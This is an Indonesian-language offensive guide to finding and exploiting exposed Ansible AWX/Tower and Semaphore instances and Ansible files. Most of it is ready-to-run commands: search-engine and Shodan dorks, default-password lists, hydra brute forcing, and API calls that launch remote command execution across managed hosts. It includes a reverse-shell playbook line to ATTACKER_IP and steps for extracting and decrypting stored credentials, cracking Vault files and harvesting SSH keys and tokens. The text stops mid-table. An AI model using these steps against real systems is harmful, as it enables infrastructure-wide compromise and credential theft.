Ansible & AWX/Semaphore Exploitation
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Menemukan Ansible Interfaces yang Terekspos
- Bab 2 — Eksploitasi AWX / Ansible Tower
- Bab 3 — Eksploitasi Ansible Vault & Files
- Bab 4 — Post-Exploitation via Ansible
Bab 1 — Menemukan Ansible Interfaces yang Terekspos
1.1 Apa itu Ansible, AWX, Semaphore
| Tool | Deskripsi | Port Default |
|---|---|---|
| Ansible | Automation tool untuk config management, deployment, orkestrasi. Agentless (pakai SSH) | Tidak ada (CLI tool) |
| AWX | Open-source web UI & API untuk Ansible. Upstream project dari Ansible Tower | 8052 (HTTP), 8043 (HTTPS) |
| Ansible Tower | Versi enterprise (berbayar) dari AWX. Red Hat product | 443 (HTTPS) |
| Semaphore | Lightweight open-source UI untuk Ansible | 3000 (HTTP) |
Mengapa ini berbahaya:
- Ansible punya SSH access ke semua server yang dikelola
- AWX/Tower menyimpan credentials (SSH keys, passwords, cloud tokens) di database-nya
- Satu akses ke Ansible control node = RCE di seluruh infrastructure
1.2 Mengapa Sering Terekspos
- AWX di-deploy via Docker tanpa mengubah default credentials
- Semaphore untuk “quick setup” di-expose ke public tanpa auth
- Ansible files (inventory, playbooks, vault) tersimpan di Git repo publik
- Developer expose AWX port untuk demo/testing, lupa close
- Docker compose meng-expose port tanpa firewall
- Ansible control node punya SSH key ke semua server — satu breach = total compromise
1.3 Dorking: Google / Shodan / FOFA
# ========== Google ==========
# AWX / Tower
intitle:"Ansible Tower" inurl:login
intitle:"AWX" inurl:"/#/login"
inurl:":8052" intitle:"AWX"
inurl:":8043" intitle:"AWX"
intitle:"Ansible Tower" "Log In"
# Semaphore
intitle:"Semaphore" inurl:auth/login
intitle:"Ansible Semaphore"
inurl:":3000" intitle:"Semaphore"
# Ansible files di web
inurl:ansible inurl:inventory ext:yml
inurl:ansible inurl:group_vars ext:yml
inurl:playbook ext:yml intext:"hosts:"
inurl:ansible.cfg
filetype:yml intext:"ansible_ssh_pass"
filetype:yml intext:"ansible_become_pass"
filetype:yml intext:"vault_password"
# Git repos
site:github.com "ansible_ssh_pass" filetype:yml
site:github.com "ANSIBLE_VAULT" filetype:yml
site:gitlab.com inurl:ansible inurl:inventory 1# ========== Shodan ==========
2
3# AWX
4shodan search 'http.title:"AWX"'
5shodan search 'http.title:"AWX" port:8052'
6shodan search 'http.title:"Ansible Tower"'
7shodan search 'http.title:"Ansible Tower" country:"ID"'
8
9# Semaphore
10shodan search 'http.title:"Semaphore" port:3000'
11shodan search 'http.title:"Ansible Semaphore"'
12
13# Bulk
14shodan download awx 'http.title:"AWX"'
15shodan parse --fields ip_str,port,org awx.json.gz# ========== FOFA ==========
title="AWX"
title="Ansible Tower"
title="Semaphore" && port="3000"
title="AWX" && country="ID"
body="AWX" && body="Log In"
body="Ansible Tower" && body="Log In"# ========== Censys ==========
services.http.response.html_title: "AWX"
services.http.response.html_title: "Ansible Tower"
services.http.response.html_title: "Semaphore"1.4 Default Credentials
AWX / Ansible Tower:
admin : password
admin : admin
admin : awx
admin : tower
admin : ansibleAWX Docker default (dari docker-compose):
admin : passwordSemaphore:
admin : changeme
admin : admin
admin : semaphoreSemaphore default setelah semaphore setup:
# Credentials yang diset saat setup wizard
# Banyak yang pakai default tanpa ganti
admin : admin1.5 Manual & Automated Discovery
1# === AWX / Tower ===
2# Cek halaman login
3curl -sk https://TARGET:8043/
4curl -sk http://TARGET:8052/
5curl -sk https://TARGET/ # Tower biasanya di 443
6
7# API ping (tidak perlu auth)
8curl -sk https://TARGET:8043/api/v2/ping/
9curl -sk https://TARGET:8043/api/v2/config/
10
11# Cek versi
12curl -sk https://TARGET:8043/api/v2/ | jq '.current_version'
13
14# === Semaphore ===
15curl -sk http://TARGET:3000/
16curl -sk http://TARGET:3000/api/auth/login
17curl -sk http://TARGET:3000/api/ping
18
19# === Nuclei ===
20nuclei -l targets.txt -t http/exposed-panels/ansible-tower.yaml
21nuclei -l targets.txt -t http/exposed-panels/ansible-semaphore-panel.yaml
22nuclei -l targets.txt -tags ansible
23
24# === ffuf — path bruteforce ===
25cat > /tmp/ansible-paths.txt << 'EOF'
26/api/v2/
27/api/v2/ping/
28/api/v2/config/
29/api/v2/me/
30/#/login
31/api/auth/login
32/auth/login
33/api/ping
34EOF
35
36ffuf -u https://TARGET:8043/FUZZ -w /tmp/ansible-paths.txt -mc 200,301,302,401Bab 2 — Eksploitasi AWX / Ansible Tower
2.1 Default Credentials & Brute Force
1# Login attempt — AWX API
2curl -sk -X POST https://TARGET:8043/api/v2/tokens/ \
3 -u "admin:password" \
4 -H "Content-Type: application/json"
5
6# Jika berhasil, response berisi token:
7# {"id": 1, "token": "xxxxxx", ...}
8
9# Test credentials satu per satu
10for pass in password admin awx tower ansible changeme; do
11 resp=$(curl -sk -o /dev/null -w "%{http_code}" -X POST \
12 https://TARGET:8043/api/v2/tokens/ \
13 -u "admin:$pass" -H "Content-Type: application/json")
14 echo "admin:$pass → $resp"
15done
16
17# Brute force dengan hydra
18hydra -l admin -P /usr/share/wordlists/rockyou.txt \
19 TARGET https-post-form \
20 "/api/v2/tokens/:{}:F=401" -V
21
22# Login via UI (jika API diblokir)
23# Browser → https://TARGET:8043/#/login
24# admin : passwordSetelah dapat token:
1# Set token untuk semua request selanjutnya
2TOKEN="xxxxxx"
3AUTH="-H 'Authorization: Bearer $TOKEN'"
4
5# Atau gunakan basic auth terus
6# -u "admin:password"2.2 API Exploration
AWX/Tower memiliki REST API yang lengkap. Setelah login:
1# Cek identity
2curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/me/ | jq
3
4# List semua resources yang tersedia
5curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/ | jq
6
7# === Organizations ===
8curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/organizations/ | jq '.results[] | {id, name}'
9
10# === Users ===
11curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/users/ | jq '.results[] | {id, username, email, is_superuser}'
12
13# === Projects (source code repos) ===
14curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/projects/ | jq '.results[] | {id, name, scm_url, scm_type}'
15
16# === Inventories (list of managed hosts) ===
17curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/inventories/ | jq '.results[] | {id, name, total_hosts}'
18
19# === Hosts (managed servers) ===
20curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/hosts/ | jq '.results[] | {id, name, enabled, variables}'
21
22# === Credentials (SSH keys, passwords, cloud tokens) ===
23curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/credentials/ | jq '.results[] | {id, name, credential_type, inputs}'
24
25# === Job Templates (playbook + inventory + credential combo) ===
26curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/job_templates/ | jq '.results[] | {id, name, playbook, inventory, credential}'
27
28# === Job History (output dari job sebelumnya) ===
29curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/jobs/ | jq '.results[] | {id, name, status, started}'
30
31# Baca output job tertentu (mungkin ada credentials/secrets di output)
32curl -sk -H "Authorization: Bearer $TOKEN" https://TARGET:8043/api/v2/jobs/JOB_ID/stdout/?format=txt2.3 RCE via Job Template
Ini jalur paling langsung — buat job template yang menjalankan command di managed hosts:
Method 1: Buat project + job template baru
1# 1. Buat project dari Git repo yang kamu kontrol
2# Di repo attacker, buat playbook:
3# rce.yml:
4# ---
5# - hosts: all
6# tasks:
7# - name: rce
8# shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
9
10# Push ke repo public
11
12# 2. Buat project di AWX
13curl -sk -H "Authorization: Bearer $TOKEN" \
14 -X POST https://TARGET:8043/api/v2/projects/ \
15 -H "Content-Type: application/json" \
16 -d '{
17 "name": "infra-update",
18 "organization": 1,
19 "scm_type": "git",
20 "scm_url": "https://github.com/ATTACKER/ansible-rce.git"
21 }'
22
23# 3. Tunggu project sync selesai
24curl -sk -H "Authorization: Bearer $TOKEN" \
25 https://TARGET:8043/api/v2/projects/ | jq '.results[] | {id, name, status}'
26
27# 4. Buat job template
28curl -sk -H "Authorization: Bearer $TOKEN" \
29 -X POST https://TARGET:8043/api/v2/job_templates/ \
30 -H "Content-Type: application/json" \
31 -d '{
32 "name": "infra-update-job",
33 "project": PROJECT_ID,
34 "inventory": INVENTORY_ID,
35 "playbook": "rce.yml",
36 "credential": CREDENTIAL_ID
37 }'
38
39# 5. Launch job
40curl -sk -H "Authorization: Bearer $TOKEN" \
41 -X POST https://TARGET:8043/api/v2/job_templates/JOB_TEMPLATE_ID/launch/Method 2: Ad-hoc command (lebih cepat)
1# AWX mendukung ad-hoc commands — jalankan command langsung di hosts
2
3# 1. Cari inventory ID dan credential ID yang sudah ada
4INV_ID=$(curl -sk -H "Authorization: Bearer $TOKEN" \
5 https://TARGET:8043/api/v2/inventories/ | jq '.results[0].id')
6
7CRED_ID=$(curl -sk -H "Authorization: Bearer $TOKEN" \
8 https://TARGET:8043/api/v2/credentials/ | jq '.results[0].id')
9
10# 2. Jalankan ad-hoc command
11curl -sk -H "Authorization: Bearer $TOKEN" \
12 -X POST https://TARGET:8043/api/v2/inventories/$INV_ID/ad_hoc_commands/ \
13 -H "Content-Type: application/json" \
14 -d '{
15 "module_name": "shell",
16 "module_args": "id && whoami && hostname && cat /etc/passwd",
17 "credential": '$CRED_ID',
18 "limit": ""
19 }'
20
21# 3. Cek output
22curl -sk -H "Authorization: Bearer $TOKEN" \
23 https://TARGET:8043/api/v2/ad_hoc_commands/COMMAND_ID/stdout/?format=txtMethod 3: Modify job template yang sudah ada
1# Daripada bikin baru, modify playbook di project yang sudah ada
2# (kurang noisy)
3
4# 1. List job templates
5curl -sk -H "Authorization: Bearer $TOKEN" \
6 https://TARGET:8043/api/v2/job_templates/ | jq '.results[] | {id, name, playbook}'
7
8# 2. Cek project detail (git URL)
9curl -sk -H "Authorization: Bearer $TOKEN" \
10 https://TARGET:8043/api/v2/projects/PROJECT_ID/ | jq '{scm_url, scm_branch}'
11
12# 3. Jika punya akses ke git repo (dari langkah sebelumnya),
13# inject task ke playbook yang sudah ada, lalu trigger job2.4 Credential Extraction via API
AWX menyimpan credentials terenkripsi di database, tapi ada beberapa cara untuk extract:
1# 1. List credentials (nama dan tipe terlihat, value ter-mask)
2curl -sk -H "Authorization: Bearer $TOKEN" \
3 https://TARGET:8043/api/v2/credentials/ | jq '.results[] | {id, name, credential_type, description}'
4
5# Credential types:
6# 1 = Machine (SSH) — username, password, SSH key
7# 2 = Source Control — Git credentials
8# 3 = Vault — Ansible Vault password
9# 4 = Network — Network device credentials
10# 5 = Cloud (AWS, GCP, Azure, etc.)
11
12# 2. Detail credential (password ter-mask "$encrypted$")
13curl -sk -H "Authorization: Bearer $TOKEN" \
14 https://TARGET:8043/api/v2/credentials/CRED_ID/ | jq '.inputs'
15# {"username": "deploy", "password": "$encrypted$", "ssh_key_data": "$encrypted$"}
16
17# 3. Cara extract password yang ter-encrypt:
18
19# Method A: Via job output — buat playbook yang print environment
20# rce.yml:
21# - hosts: all
22# tasks:
23# - debug: msg="{{ ansible_ssh_pass }}"
24# - shell: env | sort
25# - shell: cat ~/.ssh/id_rsa 2>/dev/null || echo "no key"
26# → credential terlihat di job stdout
27
28# Method B: Via AWX database langsung (jika punya shell di AWX server)
29# AWX simpan credentials encrypted dengan SECRET_KEY di settings
30# File: /etc/tower/SECRET_KEY atau environment variable
31# Database: PostgreSQL awx database
32
33# Method C: Via callback plugin — intercept credentials saat job berjalanJika punya shell di AWX server:
1# Baca secret key
2cat /etc/tower/SECRET_KEY 2>/dev/null
3# atau
4grep SECRET_KEY /etc/tower/conf.d/*.py 2>/dev/null
5# atau di Docker
6docker exec awx_task cat /etc/tower/SECRET_KEY
7
8# Connect ke database
9docker exec -it awx_postgres psql -U awx -d awx
10
11# Atau langsung
12psql -h localhost -U awx -d awx
13
14# Query credentials
15SELECT id, name, credential_type_id,
16 encode(inputs::bytea, 'escape') as encrypted_inputs
17FROM main_credential;
18
19# Decrypt membutuhkan SECRET_KEY + Fernet symmetric encryption
20# Script Python untuk decrypt:
21# python3 -c "
22# from awx.main.utils import decrypt_field
23# from awx.main.models import Credential
24# for cred in Credential.objects.all():
25# print(f'{cred.name}: {cred.get_input(\"password\")}')
26# "2.5 Inventory & Host Enumeration
Inventory = daftar semua server yang dikelola Ansible. Ini adalah peta seluruh infrastruktur.
1# List inventories
2curl -sk -H "Authorization: Bearer $TOKEN" \
3 https://TARGET:8043/api/v2/inventories/ | jq '.results[] | {id, name, total_hosts, total_groups}'
4
5# List hosts di inventory
6curl -sk -H "Authorization: Bearer $TOKEN" \
7 https://TARGET:8043/api/v2/inventories/INV_ID/hosts/ | jq '.results[] | {id, name, enabled, variables}'
8
9# List groups (pengelompokan hosts)
10curl -sk -H "Authorization: Bearer $TOKEN" \
11 https://TARGET:8043/api/v2/inventories/INV_ID/groups/ | jq '.results[] | {id, name, variables}'
12
13# Host variables (sering berisi credentials per-host)
14curl -sk -H "Authorization: Bearer $TOKEN" \
15 https://TARGET:8043/api/v2/hosts/HOST_ID/ | jq '.variables' | python3 -c "import sys,json; print(json.dumps(json.loads(sys.stdin.read()),indent=2))"
16
17# Group variables
18curl -sk -H "Authorization: Bearer $TOKEN" \
19 https://TARGET:8043/api/v2/groups/GROUP_ID/ | jq '.variables'Variables yang sering berisi credentials:
1# host_vars atau group_vars
2ansible_ssh_user: deploy
3ansible_ssh_pass: SuperSecretPassword
4ansible_become_pass: SudoPassword
5ansible_ssh_private_key_file: /path/to/key
6
7# Database credentials
8db_password: DatabasePass123
9mysql_root_password: RootPass
10
11# Application secrets
12app_secret_key: MyAppSecret
13api_key: sk_live_xxxxxx2.6 Eksploitasi Semaphore UI
Semaphore lebih sederhana dari AWX, tapi prinsipnya sama:
1# Login
2curl -s http://TARGET:3000/api/auth/login \
3 -H "Content-Type: application/json" \
4 -d '{"auth": "admin", "password": "changeme"}'
5# Response: {"token": "xxxxx"}
6
7# Set token
8STOKEN="xxxxx"
9
10# List projects
11curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/projects | jq
12
13# List inventories
14curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/inventory | jq
15
16# List templates (job definitions)
17curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/templates | jq
18
19# List keys (SSH keys & credentials)
20curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/keys | jq
21
22# List repositories
23curl -s -H "Authorization: Bearer $STOKEN" http://TARGET:3000/api/project/1/repositories | jq
24
25# Trigger task (menjalankan playbook)
26curl -s -H "Authorization: Bearer $STOKEN" \
27 -X POST http://TARGET:3000/api/project/1/tasks \
28 -H "Content-Type: application/json" \
29 -d '{"template_id": TEMPLATE_ID}'
30
31# Baca task output
32curl -s -H "Authorization: Bearer $STOKEN" \
33 http://TARGET:3000/api/project/1/tasks/TASK_ID/output | jqBab 3 — Eksploitasi Ansible Vault & Files
3.1 Exposed Ansible Files
Ansible configuration files sering ditemukan di:
- Git repositories publik
- Exposed web directories
- Backup files yang terekspos
- CI/CD pipeline artifacts
File yang dicari:
# Main config
ansible.cfg # Konfigurasi utama
ansible/ansible.cfg
# Inventory (daftar semua server)
inventory # Default inventory file
inventory/hosts
inventory/production
inventory/staging
hosts.yml
hosts.ini
# Variables (sering berisi credentials)
group_vars/all.yml # Variables untuk semua host
group_vars/all/vault.yml # Encrypted vault
group_vars/production.yml
group_vars/webservers.yml
group_vars/databases.yml
host_vars/server1.yml # Variables per-host
# Playbooks
site.yml
deploy.yml
setup.yml
playbooks/*.yml
# Roles
roles/*/defaults/main.yml # Default variables
roles/*/vars/main.yml # Role variables
roles/*/tasks/main.yml # Task definitions
roles/*/files/* # Files yang di-deploy
roles/*/templates/* # Templates (mungkin berisi secrets)
# Vault files
vault.yml
secrets.yml
*vault*.yml
*.vaultDorking untuk menemukan file Ansible:
1# Google
2site:github.com "ansible_ssh_pass" filetype:yml
3site:github.com "ANSIBLE_VAULT" filetype:yml
4site:github.com "ansible_become_pass" filetype:yml
5site:github.com path:group_vars filetype:yml
6site:github.com path:inventory filetype:ini "ansible_ssh"
7site:gitlab.com path:ansible filetype:yml "password"
8
9# Web server
10curl -sk https://TARGET/ansible/inventory
11curl -sk https://TARGET/ansible/group_vars/all.yml
12curl -sk https://TARGET/deploy/ansible.cfg
13
14# ffuf
15cat > /tmp/ansible-files.txt << 'EOF'
16ansible.cfg
17ansible/ansible.cfg
18inventory
19inventory/hosts
20inventory/production
21group_vars/all.yml
22group_vars/all/vault.yml
23host_vars/
24playbooks/
25site.yml
26deploy.yml
27vault.yml
28secrets.yml
29EOF
30
31ffuf -u https://TARGET/FUZZ -w /tmp/ansible-files.txt -mc 200 -fs 03.2 Ansible Vault Cracking
Ansible Vault mengenkripsi file/variable sensitif. Format:
$ANSIBLE_VAULT;1.1;AES256
38666532346461363032333332316133316265626634666162663437393530383862663162623435
3965633737396538613564396233616538353264343937310a363838396636356333666335373262
...Cracking:
1# 1. Extract vault file
2cat vault.yml
3# $ANSIBLE_VAULT;1.1;AES256
4# 38666532...
5
6# 2. Convert ke format hashcat/john
7# Menggunakan ansible2john (dari john the ripper)
8ansible2john vault.yml > vault_hash.txt
9
10# Atau dari pip
11pip install ansible2john
12ansible2john vault.yml > vault_hash.txt
13
14# Format output:
15# vault.yml:$ansible$0*0*hex_salt*hex_data...
16
17# 3. Crack dengan hashcat
18hashcat -m 16900 vault_hash.txt /usr/share/wordlists/rockyou.txt
19# Mode 16900 = Ansible Vault
20
21# Crack dengan john
22john vault_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
23
24# 4. Decrypt setelah dapat password
25ansible-vault decrypt vault.yml --vault-password-file <(echo 'cracked_password')
26
27# Atau view tanpa decrypt (output ke stdout)
28ansible-vault view vault.yml --vault-password-file <(echo 'cracked_password')Wordlist khusus Ansible vault:
ansible
password
changeme
vault
secret
ansible123
admin
tower
awx
P@ssw0rdInline vault (encrypted variable di dalam file YAML):
1# group_vars/all.yml
2db_user: admin
3db_password: !vault |
4 $ANSIBLE_VAULT;1.1;AES256
5 38666532346461363032333332...
6
7# Extract inline vault:
8# Salin bagian $ANSIBLE_VAULT... ke file terpisah
9# Lalu crack seperti biasa3.3 Plaintext Passwords di Playbooks & Vars
Banyak developer menyimpan password tanpa enkripsi:
1# Cari password plaintext
2grep -rn 'password\|passwd\|secret\|api_key\|token' group_vars/ host_vars/ roles/ playbooks/ 2>/dev/null
3
4# Pattern yang umum
5grep -rn 'ansible_ssh_pass' . 2>/dev/null
6grep -rn 'ansible_become_pass' . 2>/dev/null
7grep -rn 'ansible_sudo_pass' . 2>/dev/null
8grep -rn 'mysql_root_password' . 2>/dev/null
9grep -rn 'db_password' . 2>/dev/null
10grep -rn 'api_key\|api_secret' . 2>/dev/null
11grep -rn 'aws_secret\|aws_access' . 2>/dev/null
12grep -rn 'private_key' . 2>/dev/nullContoh temuan umum:
1# group_vars/all.yml (TANPA vault!)
2---
3ansible_ssh_user: deploy
4ansible_ssh_pass: Deploy2024!
5ansible_become_pass: Sudo2024!
6
7db_host: 10.0.0.5
8db_user: root
9db_password: MySQLR00t!
10
11aws_access_key: AKIAIOSFODNN7EXAMPLE
12aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
13
14smtp_password: AppSpecificPass123
15redis_password: RedisP@ss1# roles/webserver/tasks/main.yml
2- name: Configure database connection
3 template:
4 src: config.php.j2
5 dest: /var/www/html/config.php
6 vars:
7 db_pass: "HardcodedPassword123" # ← plaintext di task3.4 SSH Key Extraction
Ansible sering menggunakan SSH key untuk koneksi ke managed hosts:
1# Cari SSH key references
2grep -rn 'ssh_private_key\|private_key_file\|ansible_ssh_private_key' . 2>/dev/null
3
4# Lokasi umum SSH key
5cat ~/.ssh/id_rsa
6cat ~/.ssh/id_ed25519
7cat /home/ansible/.ssh/id_rsa
8cat /home/deploy/.ssh/id_rsa
9cat /opt/ansible/keys/*.pem
10
11# Di ansible.cfg
12grep -i private_key ansible.cfg
13# private_key_file = /path/to/key.pem
14
15# Di inventory
16grep -i ansible_ssh_private_key_file inventory/*
17# server1 ansible_ssh_private_key_file=/opt/keys/server1.pem
18
19# Di AWX/Tower — credentials berisi SSH key
20# Lihat section 2.4 untuk extraction via API3.5 Inventory File Analysis
Inventory file adalah peta seluruh infrastruktur:
1# inventory/production (INI format)
2
3[webservers]
4web1.internal.com ansible_host=10.0.1.10
5web2.internal.com ansible_host=10.0.1.11
6web3.internal.com ansible_host=10.0.1.12
7
8[databases]
9db-master.internal.com ansible_host=10.0.2.10 ansible_ssh_user=dbadmin
10db-slave.internal.com ansible_host=10.0.2.11
11
12[redis]
13cache1.internal.com ansible_host=10.0.3.10
14
15[monitoring]
16grafana.internal.com ansible_host=10.0.4.10
17prometheus.internal.com ansible_host=10.0.4.11
18
19[all:vars]
20ansible_ssh_user=deploy
21ansible_ssh_pass=GlobalDeployPass!
22ansible_become=yes
23ansible_become_pass=SudoGlobalPass! 1# inventory/production.yml (YAML format)
2all:
3 vars:
4 ansible_ssh_user: deploy
5 ansible_ssh_private_key_file: ~/.ssh/deploy_key
6 children:
7 webservers:
8 hosts:
9 web1: {ansible_host: 10.0.1.10}
10 web2: {ansible_host: 10.0.1.11}
11 databases:
12 hosts:
13 db-master: {ansible_host: 10.0.2.10, ansible_ssh_user: dbadmin, ansible_ssh_pass: "DBAdmin2024!"}
14 db-slave: {ansible_host: 10.0.2.11}Informasi yang didapat:
| Data | Value |
|---|---|
| Internal IP addresses | Semua server yang dikelola |
| Hostnames | Struktur naming convention |
| Grouping | Arsitektur infrastruktur |
| Credentials per host/group | Username, password, SSH key |
| Network topology | Subnet, segmentasi |
3.6 Ansible Artifacts di Compromised Host
Ketika sudah punya shell di server (via GitLab CI, webshell, SSH, dll), cari jejak Ansible yang tertinggal. Ansible meninggalkan banyak artifact di filesystem yang bisa mengungkap credentials, inventory, dan infrastruktur.
Lokasi Artifact Utama
1# ========== ~/.ansible/ — direktori utama ==========
2
3# Temp files (module execution leftovers)
4ls -la ~/.ansible/tmp/
5# ansible-local-* → Ansible jalan di mesin INI (connection: local)
6# ansible-tmp-* → Ansible SSH ke mesin ini dari remote
7
8# SSH ControlPersist sockets (reuse SSH session!)
9ls -la ~/.ansible/cp/
10# File: ansible-ssh-<host>-<port>-<user>
11# Jika socket masih aktif → bisa reuse tanpa password
12ssh -S ~/.ansible/cp/ansible-ssh-10.0.0.5-22-deploy 10.0.0.5
13
14# Ansible Galaxy token
15cat ~/.ansible/galaxy_token 2>/dev/null
16# Token untuk Ansible Galaxy — mungkin linked ke akun organisasi
17
18# Collections (menunjukkan apa yang dipakai)
19ls ~/.ansible/collections/ansible_collections/ 2>/dev/null
20# community.general, amazon.aws, azure.azcollection, dll
21# → menunjukkan cloud/platform apa yang dikelola
22
23# Roles yang ter-download
24ls ~/.ansible/roles/ 2>/dev/null~/.ansible/tmp — Detail
1# Listing semua temp directories
2find ~/.ansible/tmp/ -type d | sort
3
4# ========== ansible-local-* ==========
5# Format: ansible-local-<PID><RANDOM>/
6# Artinya: playbook dijalankan LOKAL di mesin ini (connection: local)
7# Skenario: CI/CD pipeline, ansible-pull, atau self-provisioning
8
9ls ~/.ansible/tmp/ansible-local-*/
10# ansiballz_cache/ → cached modules (lihat di bawah)
11# tmpXXXXXX → temp files dari module execution
12
13# ========== ansible-tmp-* ==========
14# Format: ansible-tmp-<TIMESTAMP>-<PID>-<RANDOM>/
15# Artinya: mesin ini di-manage oleh Ansible REMOTE (control node lain SSH ke sini)
16# Skenario: server ini adalah managed host
17
18ls ~/.ansible/tmp/ansible-tmp-*/
19# AnsiballZ_*.py → module yang dieksekusi
20# tmpXXXX → argument files (MUNGKIN berisi credentials!)AnsiballZ Cache — Forensik Module
1# AnsiballZ cache menyimpan module yang pernah dijalankan
2ls ~/.ansible/tmp/ansible-local-*/ansiballz_cache/
3
4# Contoh output:
5# setup-ZIP_DEFLATED → gather_facts (system info collection)
6# copy-ZIP_DEFLATED → copy file ke target
7# template-ZIP_DEFLATED → deploy template (config files)
8# user-ZIP_DEFLATED → manage user accounts
9# apt-ZIP_DEFLATED → install packages
10# yum-ZIP_DEFLATED → install packages (RHEL)
11# service-ZIP_DEFLATED → manage services
12# command-ZIP_DEFLATED → run arbitrary commands
13# shell-ZIP_DEFLATED → run shell commands
14# file-ZIP_DEFLATED → manage file permissions
15# lineinfile-ZIP_DEFLATED → edit files
16# cron-ZIP_DEFLATED → manage cron jobs
17# authorized_key-ZIP_DEFLATED → manage SSH keys
18# mysql_user-ZIP_DEFLATED → manage MySQL users
19# postgresql_db-ZIP_DEFLATED → manage PostgreSQL
20
21# Dari daftar module → TAHU apa yang playbook lakukan:
22# user + authorized_key = manage access
23# mysql_user + postgresql_db = manage databases
24# template + copy = deploy config files (mungkin berisi secrets)
25# command + shell = run arbitrary commands
26
27# Baca isi AnsiballZ (self-extracting Python script)
28head -100 ~/.ansible/tmp/ansible-local-*/ansiballz_cache/setup-ZIP_DEFLATED
29# Header berisi metadata: Ansible version, module name, interpreter
30
31# Extract AnsiballZ module
32python3 ~/.ansible/tmp/ansible-local-*/ansiballz_cache/copy-ZIP_DEFLATED explode
33# Akan extract ke: ~/.ansible/tmp/debug_dir/
34# Di sana ada: ansible_module_*.py + args file
35# Args file MUNGKIN berisi credentials yang dikirim ke moduleAnsible Log Files
1# Default log (jika dikonfigurasi di ansible.cfg)
2cat /var/log/ansible.log 2>/dev/null
3cat ~/ansible.log 2>/dev/null
4
5# Cari ansible.cfg untuk tahu log location
6find / -name "ansible.cfg" -type f 2>/dev/null | while read f; do
7 echo "=== $f ==="
8 grep -i "log_path\|log_filter" "$f" 2>/dev/null
9done
10
11# Log berisi:
12# - Task names & arguments (mungkin ada password di command/shell args)
13# - Host list (inventory)
14# - Success/failure per host
15# - Timestamps (kapan playbook terakhir jalan)
16
17# Cari credentials di log
18grep -i 'password\|secret\|token\|key\|credential' /var/log/ansible.log 2>/dev/nullAnsible Fact Cache
1# Jika fact_caching dikonfigurasi (jsonfile atau redis)
2# Default location:
3ls ~/.ansible/facts_cache/ 2>/dev/null
4ls /tmp/ansible_facts_cache/ 2>/dev/null
5
6# Fact cache = system info dari setiap managed host (JSON)
7cat ~/.ansible/facts_cache/web1.internal.com 2>/dev/null | python3 -m json.tool | head -50
8
9# Berisi:
10# - IP addresses (semua interface)
11# - OS info, kernel version
12# - Mount points, disk info
13# - User list
14# - Running services
15# - Network config
16# - Hardware info
17# → Peta lengkap setiap managed host tanpa perlu akses langsung
18
19# Cari semua fact cache files
20find / -path "*/facts_cache/*" -o -path "*/fact_cache/*" 2>/dev/nullCI/CD Pipeline Artifacts (GitLab Runner, Jenkins, dll)
1# GitLab Runner — build directories berisi ansible files
2find /home/gitlab-runner/builds/ -name "*.yml" -path "*ansible*" 2>/dev/null
3find /home/gitlab-runner/builds/ -name "inventory" 2>/dev/null
4find /home/gitlab-runner/builds/ -name "ansible.cfg" 2>/dev/null
5find /home/gitlab-runner/builds/ -name "vault*" 2>/dev/null
6find /home/gitlab-runner/builds/ -name ".vault_pass*" 2>/dev/null
7find /home/gitlab-runner/builds/ -name "group_vars" -type d 2>/dev/null
8
9# Vault password file (sering ditinggal di runner)
10find / -name ".vault_pass" -o -name ".vault_password" -o -name "vault_pass.txt" -o -name ".vault-pass" 2>/dev/null
11# Jika ketemu → bisa decrypt semua vault files
12
13# Environment variables di runner (mungkin ada ANSIBLE_VAULT_PASSWORD)
14cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i ansible
15# ANSIBLE_VAULT_PASSWORD=xxx
16# ANSIBLE_VAULT_PASSWORD_FILE=/path/to/file
17# ANSIBLE_CONFIG=/path/to/ansible.cfg
18# ANSIBLE_INVENTORY=/path/to/inventory
19
20# Jenkins workspace
21find /var/lib/jenkins/workspace/ -name "*.yml" -path "*ansible*" 2>/dev/null
22find /var/lib/jenkins/ -name "ansible.cfg" 2>/dev/null
23
24# GitLab Runner ansible temp (contoh kasus: gitlab-runner2)
25find /home/gitlab-runner*/.ansible/ -type f 2>/dev/null
26# /home/gitlab-runner2/.ansible/tmp/ansible-local-9541wkY6C0/ansiballz_cache/setup-ZIP_DEFLATED
27# → Ansible dijalankan local di CI pipeline
28# → Cek module lain di ansiballz_cache untuk tahu task apa saja
29
30# Playbook yang ter-checkout di build workspace
31find /home/gitlab-runner*/builds/ -maxdepth 5 -name "*.yml" 2>/dev/null | \
32 xargs grep -l "hosts:" 2>/dev/null
33# → menemukan playbook files
34
35# Roles di build workspace
36find /home/gitlab-runner*/builds/ -path "*/roles/*/tasks/main.yml" 2>/dev/nullansible-pull Artifacts
1# ansible-pull = Ansible yang jalan dari target sendiri (pull-based)
2# Checkout directory default:
3ls ~/.ansible/pull/ 2>/dev/null
4ls /var/lib/ansible/local/ 2>/dev/null
5
6# Crontab entry untuk ansible-pull (otomatis jalan berkala)
7crontab -l 2>/dev/null | grep ansible-pull
8cat /etc/cron.d/* 2>/dev/null | grep ansible-pull
9# Contoh:
10# */15 * * * * ansible-pull -U https://gitlab.internal/infra/ansible.git -i inventory site.yml
11# → Git URL = source code repo (mungkin private, tapi token ada di URL/config)
12
13# Git config mungkin berisi credentials
14cat ~/.ansible/pull/*/.git/config 2>/dev/null
15# url = https://deploy_token:TOKEN@gitlab.internal/infra/ansible.git
16# → Git token yang bisa dipakai untuk clone repo lainRingkasan Artifact & Value
| Artifact | Lokasi | Value |
|---|---|---|
